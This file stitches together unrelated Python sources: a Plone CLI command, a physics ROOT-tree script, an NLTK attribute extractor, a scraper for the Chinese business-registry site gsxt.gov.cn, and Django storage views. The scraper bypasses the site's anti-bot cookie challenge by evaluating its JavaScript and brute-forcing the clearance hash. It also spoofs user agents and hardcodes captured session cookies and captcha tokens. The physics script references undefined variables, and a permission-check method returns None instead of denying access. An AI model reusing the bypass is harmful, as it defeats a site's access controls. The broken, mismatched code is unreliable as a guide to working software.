from plone.server import app_settings
from plone.server import logger
from plone.server.commands import Command
from plone.server.testing import PloneRequester
from plone.server.testing import TESTING_SETTINGS
from pprint import pformat

import asyncio
import logging
import threading
import time

def format_headers(headers):
    return '\n'.join(['\t{}: {}'.format(n, v)
                      for n, v in headers.items()])

class CliCommand(Command):
    description = 'Plone server CLI utility'

    def get_parser(self):
        parser = super(CliCommand, self).get_parser()
        parser.add_argument('-m', '--method', nargs='?',
                            default='get', help='HTTP method')
        parser.add_argument('-p', '--path', nargs='?',
                            default='/', help='Path to endpoint')
        parser.add_argument('-b', '--body', default=u'',
                            help='Request body')
        return parser

    def run(self, arguments, settings, app):
        app_settings['root_user']['password'] = TESTING_SETTINGS['root_user']['password']

        loop = app.loop
        handler = app.make_handler(keep_alive_on=False)
        loop.run_until_complete(loop.create_server(
            handler,
            '127.0.0.1',
            5777))

        def loop_in_thread(loop):
            asyncio.set_event_loop(loop)
            loop.run_forever()

        t = threading.Thread(target=loop_in_thread, args=(loop,))
        t.start()

        req_body = arguments.body or ''

        requester = PloneRequester('http://localhost:5777')
        resp = requester(
            arguments.method, arguments.path,
            data=req_body or None)

        print('''
Path: {path}
Method: {method}
Status code: {code}
Request Headers:
{request_headers}

Response Headers:
{response_headers}

Request body:
{request_body}

Response body:
{body}
        '''.format(
            path=arguments.path,
            method=arguments.method,
            code=resp.status_code,
            request_headers=format_headers(resp.request.headers),
            response_headers=format_headers(resp.headers),
            body=pformat(resp.json()),
            request_body=req_body
        ))

        loop.call_soon_threadsafe(loop.stop)
        while(loop.is_running()):
            time.sleep(1)


import ROOT
import uproot
import numpy as np
from   array import array

fileptr = uproot.open("TT_Dilept_13.root")

outputfile = ROOT.TFile("NewRoot.root", 'recreate')
tree = ROOT.TTree("CutTree", "CutTree")

#Electron arrays
elec_pt_arr = array('f', [0.])
elec_eta_arr = array('f', [0.])
elec_phi_arr = array('f', [0.])
elec_charge_arr = array('f', [0.])

#Muon arrays
muon_pt_arr = array('f', [0.])
muon_eta_arr = array('f', [0.])
muon_phi_arr = array('f', [0.])
muon_charge_arr = array('f', [0.])

#Jet arrays
ljet_pt_arr = array('f',[.0])
ljet_eta_arr = array('f',[.0])
ljet_phi_arr = array('f',[.0])
ljet_mass_arr = array('f',[.0])

sljet_pt_arr = array('f',[.0])
sljet_eta_arr = array('f',[.0])
sljet_phi_arr = array('f',[.0])
sljet_mass_arr = array('f',[.0])
#Lepton arrays
l_pt_arr = array('f',[.0])
l_eta_arr = array('f',[.0])
l_phi_arr = array('f',[.0])
l_mass_arr = array('f',[.0])

sl_pt_arr = array('f',[.0])
sl_eta_arr = array('f',[.0])
sl_phi_arr = array('f',[.0])
sl_mass_arr = array('f',[.0])

#Elec branches
tree.Branch("elec_pt", elec_pt_arr, "elec_pt/F")
tree.Branch("elec_eta", elec_arr, "elec_eta/F")
tree.Branch("elec_phi", elec_phi_arr, "elec_phi/F")
tree.Branch("elec_charge", elec_charge_arr, "elec_charge/F")

#Muon branches
tree.Branch("muon_pt", muon_pt_arr, "muon_pt/F")
tree.Branch("muon_eta", muon_eta_arr, "muon_eta/F")
tree.Branch("muon_phi", muon_phi_arr, "muon_phi/F")
tree.Branch("muon_charge", muon_charge_arr, "muon_charge/F")

#Jets branches
tree.Branch("ljet_pt", ljet_pt_arr, "ljet_pt/F")
tree.Branch("ljet_eta", ljet_eta_arr, "ljet_eta/F")
tree.Branch("ljet_phi", ljet_phi_arr, "ljet_phi/F")
tree.Branch("ljet_mass", ljet_mass_arr, "ljet_mass/F")
tree.Branch("sljet_pt", sljet_pt_arr, "sljet_pt/F")
tree.Branch("sljet_eta", sljet_eta_arr, "sljet_eta/F")
tree.Branch("sljet_phi", sljet_phi_arr, "sljet_phi/F")
tree.Branch("sljet_mass", sljet_mass_arr, "sljet_mass/F")

#Lepton Branches
tree.Branch("l_pt", l_pt_arr, "l_pt/F")
tree.Branch("l_eta", l_eta_arr, "l_eta/F")
tree.Branch("l_phi", l_phi_arr, "l_phi/F")
tree.Branch("l_mass", l_mass_arr, "l_mass/F")
tree.Branch("sl_pt", sl_pt_arr, "sl_pt/F")
tree.Branch("sl_eta", sl_eta_arr, "sl_eta/F")
tree.Branch("sl_phi", sl_phi_arr, "sl_phi/F")
tree.Branch("sl_mass", sl_mass_arr, "sl_mass/F")

#originaltags = [mu_pt, mu_eta, mu_phi, mu_charge]
#flattags = [mu_pt_flat, mu_eta_flat, mu_phi_flat, mu_charge_flat]

for i in range(len(e_pt)):
    e_pt_arr[0] = e_pt[i]
    e_phi_arr[0] = e_phi[i]
    e_eta_arr[0] = e_eta[i]
    e_charge_arr[0] = e_charge[i]

    muon_pt_arr[0] = mu_pt[i]
    muon_eta_arr[0] = mu_eta[i]
    muon_phi_arr[0] = mu_phi[i]
    muon_charge_arr[0] = mu_charge[i]

    ljet_pt_arr[0] = ljet_pt[i]
    ljet_eta_arr[0] = ljet_eta[i]
    ljet_phi_arr[0] = ljet_phi[i]
    ljet_mass_arr[0] = ljet_mass[i]

    sljet_pt_arr[0] = sljet_pt[i]
    sljet_eta_arr[0] = sljet_eta[i]
    sljet_phi_arr[0] = sljet_phi[i]
    sljet_mass_arr[0] = sljet_mass[i]

    l_pt_arr[0] = l_pt[i]
    l_eta_arr[0] = l_eta[i]
    l_phi_arr[0] = l_phi[i]
    l_mass_arr[0] = l_mass[i]

    sl_pt_arr[0] = sl_pt[i]
    sl_eta_arr[0] = sl_eta[i]
    sl_phi_arr[0] = sl_phi[i]
    sl_pt_mass[0] = sl_mass[i]

    tree.Fill()

outputfile.Write()
outputfile.Close()


from app.utils import catch_exceptions,download_from_s3
import os
import re
import nltk
nltk.download('wordnet')
nltk.download('stopwords')
from nltk.stem import WordNetLemmatizer
from constants import STOP_WORDS,punctuations
import json
import logging
logger = logging.getLogger(name=__name__)

class ExtractAttributes(object):
    def __init__(self):
        pass

    def lemmatize_text(self,text):
        try:
            lemmatizer = WordNetLemmatizer()
            lemmatized_list = [lemmatizer.lemmatize(word.lower()) for word in text.split(' ') if word.lower() not in STOP_WORDS]
            lem_string = ' '.join(lemmatized_list).strip().lower()
            return lem_string
        except Exception as e:
            logger.error(e,exc_info=True)

    @catch_exceptions
    def unpunctuate(self,text):
        try:
            text = str(text)
            text = text.replace("'s","")
            unpunctuated_list = [character if character not in punctuations else ' ' for character in text]
            unpunctuated_text = "".join(unpunctuated_list)
            return unpunctuated_text
        except Exception as e:
            logger.error(e,exc_info=True)

    @catch_exceptions
    def clean_text(self,text):
        try:
            text = self.lemmatize_text(text) #lemmatize the input text
            text = self.unpunctuate(text)
            return text
        except Exception as e:
            logger.error(e,exc_info=True)

    @catch_exceptions
    def get_valid_values(self):
        try:
            valid_values_path = self.check_valid_values_file_exists('valid_values_updated.json')
            with open(valid_values_path,'r') as f:
                valid_values = json.load(f)
            return valid_values
        except Exception as e:
            logger.error(e,exc_info=True)

    @catch_exceptions
    def search_entity(self, attribute_value, product_data):
        try:
            if re.search(r"\b" + re.escape(attribute_value) + r"\b", product_data) and attribute_value!='':
                return True #ref: "https://stackoverflow.com/questions/4154961/find-substring-in-string-but-only-if-whole-words"
            return False
        except Exception as e:
            logger.error(e,exc_info=True)

    @catch_exceptions
    def extract_attributes(self, request_data):
        try:
            valid_values = self.get_valid_values()
            attribute_names = list(valid_values.get(str(request_data["category_id"])).get(str(request_data["sub_category_id"])).get("valid_values").keys()) #get the list of all the valid attribute names
            text_attributes = {}
            title = self.clean_text(request_data["product_title"])
            for each_attribute_values in attribute_names:
                    if each_attribute_values:
                        for each_attr_value in each_attribute_values:
                            is_true = self.search_entity(self.clean_text(each_attr_value), title)
                            if is_true:
                                if each_attribute_values in text_attributes.keys():
                                    pass
                                else:
                                    text_attributes[each_attribute_values] = each_attr_value
                            else:
                                pass
            return text_attributes
        except Exception as e:
            logger.error(e,exc_info=True)

    @catch_exceptions
    def get_attributes(self, request_data):
        #to manage multiple product_titles
        try:
            product_titles = request_data["product_title"]
            all_titles_attributes = []
            for each_title in product_titles:
                request_data["product_title"] = each_title
                each_title_attributes = self.extract_attributes(request_data)
                all_titles_attributes.append(each_title_attributes)
            return all_titles_attributes
        except Exception as e:
            logger.error(e,exc_info=True)

    @catch_exceptions
    def get_attributes_for_a_string(self,request_data):
        try:
            response_data = {}
            mandatory_fields = ["product_title", "category_id","sub_category_id"]
            for field in mandatory_fields:
                if not field in request_data["data"]:
                    response_data = {
                        "status":False,
                        "message":"Required field is missing",
                        "error_obj":{
                            "description":"{} is missing".format(field),
                            "error_code":"REQUIRED_FIELD_IS_MISSING"
                        }
                    }
            if not response_data:
                response_data = {
                    "status":True,
                    "data":{
                        "product_details":self.get_attributes(request_data["data"])
                    }
                }
            return response_data
        except Exception as e:
            logger.error(e,exc_info=True)

ExtractedAttributes = ExtractAttributes()


# import requests
# import random
# MY_USER_AGENT = [
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
#     "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
#     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
#     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
#     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
#     "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
#     "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
#     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
#     "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
#     "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
#     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
#     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
#     "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
#     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
#     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
#     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
#     "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
#     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
#     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
#     "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10",
#     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
#     ]
# headers = {
#     'user-agent':random.choice(MY_USER_AGENT),
#     'cookie':'__jsluid_h=82fe16f5c29ceec3158cde6ca30b1702; SECTOKEN=7456514189471517975; __jsl_clearance=1624238402.194|0|a3Xp7y5CZMIrflcejCzQGtQjf0E%3D; JSESSIONID=c21c6a2c98ed768ebae6650e9340; gsxtBrowseHistory1=%0FS%04%06%1D%04%1D%10SNS%24%26%3B%22%3D%3A71%3A%3B01%3A%219%40ADDDDE%40ADDDEDD%40FCCCMCL%40SXS%11%1A%00%1A%15%19%11SNS%E8%A4%8B%E6%9F%A3%E5%8F%8B%E7%BA%8B%E4%B8%BF%E6%BB%A4%E6%B1%80%E6%9F%A8%E4%BB%93%E9%95%B4%E5%87%A8%E6%B1%A5%E4%B9%A7%E4%B9%AE%E5%91%BC%E4%BC%A8%E7%A5%8ASXS%11%1A%00%00%0D%04%11SNMEDDXS%02%1D%07%1D%00%00%1D%19%11SNEBF%40FGLFDF%40AL%09; gsxtBrowseHistory2=%0FS%04%06%1D%04%1D%10SNS%24%26%3B%22%3D%3A71%3A%3B01%3A%219GEDDDDGEDEEADDDDFFDEADGF%40DDGD%40SXS%11%1A%00%1A%15%19%11SNS%E4%B9%BE%E6%B4%83%E4%B9%B3%E8%BF%8A%E7%BC%A5%E7%BA%A8%E9%86%A5%E8%9F%B9%E6%9D%B9%E5%8B%95%E6%9D%BD%E9%98%A4%E5%84%98%E5%8E%8CSXS%11%1A%00%00%0D%04%11SNEEMDXS%02%1D%07%1D%00%00%1D%19%11SNEBF%40FGMG%40CLCC%09; tlb_cookie=S172.16.12.71'
#
# }
#
# print(headers)
# data = {
#     # 'province': 100000,
#     'searchword': '上海万达网络金融服务有限公司',
#     'token': 109990349,
#     # 'tab':
#     'geetest_challenge': '72431a1dfc2b515bab707608139feb94',
#     'geetest_validate': '4ec698eba7f361f25fdd9067dd030f8b',
#     'geetest_seccode': '4ec698eba7f361f25fdd9067dd030f8b|jordan'
# }
# d = requests.request(method='post',headers=headers,url='http://www.gsxt.gov.cn/corp-query-search-1.html',data=data ).text
# print(d)

import hashlib
import json
import re
import execjs
import requests

def get_hash256(data: str):
    hash256 = hashlib.sha256(data.encode('utf-8'))
    return hash256.hexdigest()

def get_hashsha1(data:str):
    sha = hashlib.sha1(data.encode('utf-8'))
    return sha.hexdigest()

def get_hashmd5(data:str):
    hl = hashlib.md5(data.encode('utf-8'))
    return hl.hexdigest()

def get_cookies():

    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Host': 'www.gsxt.gov.cn',
        'Proxy-Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
    }

    url1 = 'http://www.gsxt.gov.cn/SearchItemCaptcha?'

    # proxies = {'http': 'http://'+host+':'+port+''}
    # print(proxies)

    r1 = requests.get(url1, headers=headers, verify=False)

    js = r1.text
    js = js.replace('<script>document.cookie=', '').replace(';location.href=location.pathname+location.search</script>', '')
    result=execjs.eval(js)

    __jsluid_h = r1.headers['Set-Cookie']
    __jsl_clearance = result

    cookies = {
        '__jsluid_h': __jsluid_h.replace('__jsluid_h=', ''),
        '__jsl_clearance': __jsl_clearance.replace('__jsl_clearance=', '')
    }

    url2 = 'http://www.gsxt.gov.cn/index.html'
    r2 = requests.get(url2, headers=headers,verify=False, cookies=cookies)

    data_org = re.findall(';go(.*)</script>', r2.text)[0]
    data = {"bts":["1624255820.461|0|NnX","XjUHU1prYon6Er6YhGot4Y%3D"],"chars":"RNvGJxaamMqWZKFlnjfuSx","ct":"9abb4a904d47983f3dd340c390608b26e466900aab471fee004b349e5f456c7b","ha":"sha256","tn":"__jsl_clearance","vt":"3600","wt":"1500"}
    # data = data_org.replace('(', '').replace(')', '')

    # data = json.loads(data_org)

    bts = data['bts']
    chars = data['chars']
    ct = data['ct']
    ha = data['ha']
    vt = data['vt']

    counti = 0
    countj = 0
    if ha == 'sha256':
        print('加密算法-' + ha)
        for i in range(len(bts[0])):
            for j in range(len(chars)):
                cookieTemp = bts[0] + chars[i] + chars[j] + bts[1]
                if get_hash256(cookieTemp) == ct:
                    counti = i
                    countj = j
                    break
    elif ha == 'sha1':
        print('加密算法-' + ha)
        for i in range(len(bts[0])):
            for j in range(len(chars)):
                cookieTemp = bts[0] + chars[i] + chars[j] + bts[1]
                if get_hashsha1(cookieTemp) == ct:
                    counti = i
                    countj = j
                    break
    elif ha == 'md5':
        print('加密算法-' + ha)
        for i in range(len(bts[0])):
            for j in range(len(chars)):
                cookieTemp = bts[0] + chars[i] + chars[j] + bts[1]
                if get_hashmd5(cookieTemp) == ct:
                    counti = i
                    countj = j
                    break

    __jsl_clearance = bts[0] + chars[counti] + chars[countj] + bts[1]
    __jsl_clearance = __jsl_clearance +';max-age='+vt +';'
    print(__jsl_clearance)
    exit()
    cookies1 = {
        '__jsluid_h': __jsluid_h.replace('__jsluid_h=', ''),
        '__jsl_clearance': __jsl_clearance,
    }
    url3 = 'http://www.gsxt.gov.cn/index.html'
    r3 = requests.get(url3, headers=headers, verify=False, cookies=cookies1)

    r3cookies = r3.headers['Set-Cookie']
    r3cookies = r3cookies.split(',')
    JSESSIONID = ''
    SECTOKEN = ''
    tlb_cookie = ''
    for i in r3cookies:
        if 'JSESSIONID' in i:
            JSESSIONID = i.replace('JSESSIONID=', '').strip()
        if 'SECTOKEN' in i:
            SECTOKEN = i.replace('SECTOKEN=', '').strip()
        if 'tlb_cookie' in i:
            tlb_cookie = i.replace('tlb_cookie=', '').strip()
    # cookies2为取数据所需要的cookie
    cookies2 = {
        '__jsluid_h': __jsluid_h.replace('__jsluid_h=', ''),
        '__jsl_clearance': __jsl_clearance,
        'JSESSIONID': JSESSIONID,
        'SECTOKEN': SECTOKEN,
        'tlb_cookie': tlb_cookie,
    }
    print(cookies2)

    # url3 = 'http://www.gsxt.gov.cn/SearchItemCaptcha?'
    # r3 = requests.get(url3, headers=headers, verify=False, cookies=cookies1).text
    # print(r3)

    url7 = 'http://www.gsxt.gov.cn/affiche-query-area-info-paperall.html?noticeType=11&areaid=100000&noticeTitle=&regOrg=110000'
    form_data = {
        "draw": 1, "start": 0, "length": 10
    }
    r7 = requests.post(url7, headers=headers, data=form_data,verify=False, cookies=cookies2)
    print(r7.text)

if __name__ == '__main__':
    get_cookies()


"""Storage application views."""
import json
import logging
import re
import tempfile
from datetime import datetime
from distutils.util import strtobool
from functools import lru_cache
from pathlib import Path
from typing import Dict, List, Tuple, Union
from urllib.parse import urlencode, urlparse

import pytz
from bs4 import BeautifulSoup

from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.shortcuts import redirect
from django.urls import reverse
from django.utils import timezone
from django.views import View

from rest_framework.response import Response
from rest_framework.viewsets import ViewSet

from resolwe.flow.models import Data
from resolwe.flow.models.collection import Collection
from resolwe.permissions.utils import get_user
from resolwe.storage.connectors import connectors
from resolwe.storage.connectors.baseconnector import BaseStorageConnector
from resolwe.storage.models import FileStorage, ReferencedPath

logger = logging.getLogger(__name__)

class UploadConfig(ViewSet):
    """Get the upload configuration."""

    def list(self, request):
        """Return the JSON representing the upload configuration.

        The returning object is JSON representation of the dictionary with the
        following fields:

        - type: the type of upload connector. Currently we
          support 'LOCAL', and 'S3' connector types. Upload through server is
          always supported.

        - credentials: the dictionary representing the set of credentials that
          are used to upload data. This dictionary is specific to connector
          type and may be empty.
        """
        try:
            upload_connector = connectors.for_storage("upload")[0]
            prefix = str(get_user(request.user).id)
            response = {
                "type": upload_connector.CONNECTOR_TYPE.name,
                "config": upload_connector.temporary_credentials(prefix),
            }
        except Exception:
            message = "Upload connector could not be determined."
            logger.exception(message)
            raise ImproperlyConfigured(message)

        return Response(response)

class DataBrowseView(View):
    """Emulate nginx JSON directory view of the data directory.

    Use information in database to construct JSON response that emulates nginx
    autoindex module with autoindex_format set to json. See
    http://nginx.org/en/docs/http/ngx_http_autoindex_module.html
    for details.
    """

    def _get_mtime(self, entry: datetime) -> str:
        """Convert datetime entry to nginx autoindex compatible string.

        The timezone returned by autoindex module was set to GMT so we convert
        from our timetone to GMT.
        """
        gmt = timezone.localtime(entry, pytz.timezone("GMT"))
        return gmt.strftime("%a, %d %b %Y %H:%M:%S %Z")

    def _path_to_dict(
        self, referenced_path: ReferencedPath, base_path: Union[str, Path]
    ) -> Dict[str, Union[str, int]]:
        """Convert ReferencedPath to dictionary emulating nginx response."""
        assert referenced_path.file_storage is not None
        data = {
            "name": Path(referenced_path.path).relative_to(base_path).as_posix(),
            "type": "file",
            "mtime": self._get_mtime(referenced_path.file_storage.created),
            "size": referenced_path.size,
            "md5": referenced_path.md5,
        }
        if referenced_path.path.endswith("/"):
            data.pop("size")
            data["type"] = "directory"
        return data

    def _get_datum(self, data_id: int) -> Data:
        """Get datum with given id and check it's permissions."""
        # Check permissions and load requested data object.
        data = Data.objects.filter(pk=data_id).filter_for_user(self.request.user)
        # Send response with status 403 when requested data object does not exists.
        if not data.exists():
            raise PermissionDenied()

        return data.get()

    def _resolve_dir(
        self, relative_path: Path, file_storage: FileStorage
    ) -> List[Dict[str, Union[str, int]]]:
        """Resolve directory."""
        # Empty path evaluates to "."
        regex_path = relative_path.as_posix() + "/" if relative_path != Path() else ""
        # Show only entries in this directory.
        regex = "^{}[^/]+/?$".format(regex_path)
        return [
            self._path_to_dict(path, regex_path)
            for path in file_storage.files.filter(path__regex=regex)
        ]

    def _resolve_file(self, relative_path: Path, file_storage: FileStorage) -> str:
        """Resolve file URI and return signed url.

        :raises PermissionDenied: if presigned URL could not be generated.
        """
        # Redirect to the resource.
        force_download = strtobool(self.request.GET.get("force_download", "false"))
        default_storage_location = file_storage.default_storage_location
        assert default_storage_location is not None
        presigned_url = default_storage_location.connector.presigned_url(
            file_storage.subpath / relative_path, force_download=force_download
        )
        if presigned_url is None:
            raise PermissionDenied()

        return presigned_url

    def _get_response(
        self, datum: Data, relative_path: Path
    ) -> Tuple[Union[str, list], bool]:
        """Return a (response, is_file) tuple.

        :raises PermissionDenied: when path can not be resolved.
        """
        file_storage: FileStorage = datum.location

        if (
            relative_path == Path()
            or file_storage.files.filter(path=relative_path.as_posix() + "/").exists()
        ):
            # If directory
            return (self._resolve_dir(relative_path, file_storage), False)
        elif file_storage.files.filter(path=relative_path.as_posix()).exists():
            # If file
            return (self._resolve_file(relative_path, file_storage), True)

        raise PermissionDenied()

    def get(
        self, request: HttpRequest, *args: Union[str, int], **kwargs: Union[str, int]
    ) -> HttpResponse:
        """Giver URL either redirect to resource or serve a list of resources.

        If URL points to a file then redirect to a default storage location.
        If URL points to a directory then send a JSON encoded list of entires
        in this directory emulating nginx autoindex module.

        :param request: the given request. When the user requests URL
            http://platform-centos.genialis.local/data/1/..., then the value of
            parameter should be 1/... .
        """

        data_id = int(kwargs["data_id"])
        relative_path = str(kwargs.get("uri", ""))
        if Path(urlparse(relative_path).path).suffix in [".html", ".htm"]:
            redirect_url = reverse("HTMLPreprocessorView", args=args, kwargs=kwargs)
            arguments = urlencode(request.GET)
            if arguments:
                redirect_url = f"{redirect_url}?{arguments}"
            return redirect(redirect_url)

        datum = self._get_datum(data_id)
        response, is_file = self._get_response(datum, Path(relative_path))
        if is_file:
            return redirect(response)
        elif response:
            return JsonResponse(response, safe=False)
        else:
            raise PermissionDenied()

class HTMLPreprocessorView(DataBrowseView):
    """Serve HTML files.

    Pull the file to the server, pre-sign all the links in the file (including
    CSS and Javascript) and serve the modified file.
    """

    def get(
        self, request: HttpRequest, *args: Union[str, int], **kwargs: Union[str, int]
    ) -> HttpResponse:
        """Serve transformed HTML."""

        def _process_url(
            url: str, from_connector: BaseStorageConnector, subpath: Path
        ) -> str:
            """Presign URL if necessary."""
            parsed_url = urlparse(url)
            # We have to process link when it is relative (no scheme and no
            # netloc is given). Is should also not be anchor link (no path).
            if parsed_url.scheme or parsed_url.netloc or not parsed_url.path:
                return url

            # HTML files should be redirected to HTMLProcessor view.
            if Path(parsed_url.path).suffix in [".htm", ".html"]:
                return reverse("HTMLPreprocessorView", args=args, kwargs=kwargs)
            else:
                presigned_url = from_connector.presigned_url(
                    subpath / url, expiration=3600
                )
                if presigned_url is None:
                    raise RuntimeError(
                        "Unable to presign URL {url} for data object with id {subpath}."
                    )
                return presigned_url

        data_id = int(kwargs["data_id"])
        relative_path = Path(str(kwargs.get("uri", "")))
        assert relative_path.suffix in [
            ".html",
            ".htm",
        ], f"Only HTML files can be served, {relative_path} requested."
        datum = self._get_datum(data_id)
        subpath = Path(datum.location.subpath)
        from_connector = datum.location.default_storage_location.connector
        # Temporary file is opened with mode 'w+b' by default.
        with tempfile.SpooledTemporaryFile() as stream:
            from_connector.get(subpath / relative_path, stream)
            stream.seek(0)
            soup = BeautifulSoup(stream)
            tags_attributes = {
                "a": "href",
                "link": "href",
                "script": "src",
                "img": "src",
            }
            for tag in soup.findAll(list(tags_attributes.keys())):
                attribute = tags_attributes[tag.name]
                if attribute in tag.attrs:
                    tag[attribute] = _process_url(
                        tag[attribute], from_connector, subpath
                    )
            result = str(soup)
        response = HttpResponse(result)
        if strtobool(self.request.GET.get("force_download", "false")):
            response["Content-Disposition"] = "attachment"
        return response

class UriResolverView(DataBrowseView):
    """Get resolved and signed URLs for a given list of URIs."""

    def get(
        self, request: HttpRequest, *args: Union[str, int], **kwargs: Union[str, int]
    ) -> HttpResponse:
        """
        Return empty response.

        GET Method should not be disabled, but since it is implemented in
        superclass, it is overwritten.
        """
        return HttpResponse("")

    def post(
        self, request: HttpRequest, *args: Union[str, int], **kwargs: Union[str, int]
    ) -> HttpResponse:
        """Get resolved and signed URLs for a given list of URIs."""

        content = {}
        try:
            content = json.loads(request.read())
        except json.decoder.JSONDecodeError:
            pass

        response_data = {}
        for uri in content.get("uris", []):
            match = re.match(r"(\d+)/(.+)", uri)
            if not match:
                response_data[uri] = ""
                continue
            data_id = int(match.group(1))
            relative_path = Path(match.group(2))
            datum = self._get_datum(data_id)
            try:
                response_data[uri] = self._get_response(datum, relative_path)[0]
            except PermissionDenied:
                response_data[uri] = ""

        return JsonResponse(response_data)

    def _get_datum(self, data_id: int) -> Data:
        """
        Get datum with given id and check it's permissions.

        Speedup: Since checking permissions if quite slow, this method
        can become a real bottleneck if there are > 100 Data object to
        check. However, if they are from the same collection it is easy
        to check, just confirm that the user has view permission on
        collection. That can be checked only once and than cached.
        """

        @lru_cache(maxsize=1)
        def has_view_permission(collection_id: int) -> bool:
            collection = Collection.objects.filter(pk=collection_id).filter_for_user(
                self.request.user
            )
            return collection.exists()

        datum = Data.objects.get(pk=data_id)

        if datum.collection and has_view_permission(datum.collection.id):
            return datum

